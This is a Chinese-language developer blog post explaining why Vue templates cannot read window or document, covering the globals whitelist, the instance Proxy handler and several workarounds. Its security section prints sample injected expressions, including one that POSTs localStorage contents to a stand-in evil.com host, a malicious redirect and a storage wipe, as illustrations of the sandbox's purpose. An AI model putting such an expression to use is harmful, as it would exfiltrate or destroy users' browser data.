想起以前在项目中遇到了一个问题,想在 Vue 模板里直接用 {{ window.location.href }}
获取当前页面地址,结果发现根本不行!但是在 script
里面用 console.log(window.location.href)
却完全没问题,当时为了快速业务开发,也没想着去研究为什么在模版访问不了,只是换了种解决方案,那刚好现在有时间了,来深入研究一下
这就奇怪了,明明都是 JavaScript,为什么在模板里就不行呢?不知道大家是否也有过这样的疑问呢?
带着这个疑问,我深挖了一下 Vue 的源码和官方文档,发现这背后的原理还挺有意思的。今天就来跟大家分享一下我的发现
先说结论
Vue 模板运行在一个受限的沙箱环境 中,只能访问组件的数据和一些被允许的全局变量,window
不在这个"白名单"里。
这不是 bug,是 Vue 故意这么设计的!
30 秒看懂差别
xml
<template>
<!-- ❌ 这些都不行 -->
<div>{{ window.location.href }}</div>
<div>{{ document.title }}</div>
<div>{{ console.log('test') }}</div>
<!-- ✅ 这些可以 -->
<div>{{ Math.random() }}</div>
<div>{{ Date.now() }}</div>
<div>{{ JSON.stringify(user) }}</div>
</template>
<script>
export default {
data() {
return {
// ✅ 在 script 里随便用
currentUrl: window.location.href,
pageTitle: document.title
}
},
mounted() {
// ✅ 这里是完整的 JavaScript 环境
console.log(window.navigator.userAgent)
localStorage.setItem('test', 'value')
}
}
</script>
你看,同样是 JavaScript 代码,在不同地方的"待遇"完全不一样。
Vue 官方是怎么说的?
我去翻了 Vue 的官方文档,找到了这段话:
Template expressions are sandboxed and only have access to a restricted list of globals.
翻译过来就是:模板表达式被沙箱化了,只能访问受限的全局变量列表。
还有一个更有意思的发现,在 Vue 的 GitHub Issue #1353 里,有开发者问能不能在模板里访问 window
,Vue 团队的回复很直接:
这是设计决定,不是 bug。
模板表达式出于安全原因被故意限制在沙箱中。如果需要访问 window 属性,应该在组件的 methods 或 computed 属性中进行。
那接着往下看,vue它是怎么处理的
深挖源码,看看 Vue 到底做了什么
既然官方这么说,那我就去源码里看看 Vue 到底是怎么实现这个限制的。
白名单机制
在 Vue 3 的源码里,我找到了这个白名单:
rust
// Vue 3 源码:packages/shared/src/globalsWhitelist.ts
const GLOBALS_WHITE_LISTED =
'Infinity,undefined,NaN,isFinite,isNaN,' +
'parseFloat,parseInt,decodeURI,decodeURIComponent,' +
'encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt'
看到了吧,Math
、Date
、JSON
这些都在白名单里,所以模板里可以用。但是 window
、document
、console
这些就没有,所以用不了。
代理机制
Vue 是通过 Proxy 来实现这个限制的:
typescript
// Vue 3 源码:packages/runtime-core/src/componentPublicInstance.ts
export const PublicInstanceProxyHandlers: ProxyHandler<any> = {
get({ _: instance }, key) {
// 查找顺序很重要!
// 1️⃣ 先找组件自己的属性(data、computed、methods、props)
if (key[0] !== '$') {
// 这里会查找组件实例的属性
}
// 2️⃣ 再找全局属性($route、$router 等)
const publicGetter = publicPropertiesMap[key]
if (publicGetter) {
return publicGetter(instance)
}
// 3️⃣ 最后检查白名单
if (isGloballyWhitelisted(key)) {
return (window as any)[key] // 只有白名单里的才能访问 window
}
// 4️⃣ 其他情况就报警告
if (process.env.NODE_ENV !== 'production') {
warn(`Property "${key}" was accessed but is not defined.`)
}
return undefined
}
}
这个代理的逻辑很清楚:先找组件自己的东西,再找全局属性,最后检查白名单。如果都没找到,就返回 undefined
并且警告。
为什么要这么设计?
刚开始我也觉得这个限制有点麻烦,但深入了解后发现,Vue 这么做是有道理的。
1. 安全考虑
最主要的原因是防止 XSS 攻击。想象一下,如果模板里可以随意访问全局变量,恶意用户可能会注入这样的代码:
javascript
// 🚨 如果没有限制,这些恶意代码都可能被执行
{{ window.location.href = 'https://malicious.com' }}
{{ window.localStorage.clear() }}
{{ window.fetch('https://evil.com', { method: 'POST', body: JSON.stringify(window.localStorage) }) }}
这就太危险了!
我还找到一个真实的安全案例:Vue.js Serverside Template XSS,展示了如果没有这种限制会发生什么。
2. 性能考虑
限制作用域查找范围,可以提高表达式求值的性能。如果允许访问所有全局变量,每次求值都要在多个作用域中查找,开销会更大。
3. 代码质量
强制开发者把逻辑放在合适的地方,而不是在模板里写复杂的表达式。这样代码结构更清晰,也更好维护。
实际项目中怎么办?
说了这么多原理,那在实际项目中遇到需要访问全局变量的情况怎么办呢?我总结了几种方法:
方法一:通过 computed 属性(推荐)
javascript
computed: {
currentUrl() {
return window.location.href
},
pageTitle() {
return document.title
},
isOnline() {
return navigator.onLine
}
}
方法二:通过 methods
javascript
methods: {
openWindow(url) {
window.open(url, '_blank')
},
copyToClipboard(text) {
navigator.clipboard.writeText(text)
}
}
方法三:全局属性注册(适合系统级需求)
dart
// main.js
const app = createApp(App)
app.config.globalProperties.$window = window
app.config.globalProperties.$document = document
// 模板中就可以用了
// {{ $window.innerWidth }}
// {{ $document.title }}
方法四:Composition API 的方式
javascript
// composables/useWindow.js
import { ref, onMounted, onUnmounted } from 'vue'
export function useWindow() {
const width = ref(window.innerWidth)
const height = ref(window.innerHeight)
const updateSize = () => {
width.value = window.innerWidth
height.value = window.innerHeight
}
onMounted(() => {
window.addEventListener('resize', updateSize)
})
onUnmounted(() => {
window.removeEventListener('resize', updateSize)
})
return { width, height }
}
一些有趣的发现
在研究这个问题的过程中,我还发现了一些有意思的东西:
为什么 Math.random()
可以用?
因为 Math
在白名单里啊!Vue 认为这些内置的数学、日期、JSON 相关的对象是安全的,所以允许访问。
React 也有这个限制吗?
React 没有!因为 React 用的是 JSX,本质上就是 JavaScript,没有额外的模板编译过程。但这也意味着 React 在安全性方面需要开发者自己把控。
总结
Vue 模板的作用域限制看起来像是一个"坑",但实际上是一个精心设计的安全特性。它强制我们:
- 把逻辑放在合适的地方 - 模板专注于展示,逻辑放在 JavaScript 中
- 提高代码质量 - 避免在模板里写复杂的表达式
- 保证安全性 - 防止恶意代码注入
- 优化性能 - 减少不必要的全局变量查找
虽然刚开始可能会觉得不方便,但习惯了之后会发现这样的代码结构更清晰,也更安全。
记住一个原则:模板是视图层,不是逻辑层。把复杂的逻辑交给 JavaScript,让模板保持简洁和安全。
emm 狂野将使他们感到畏惧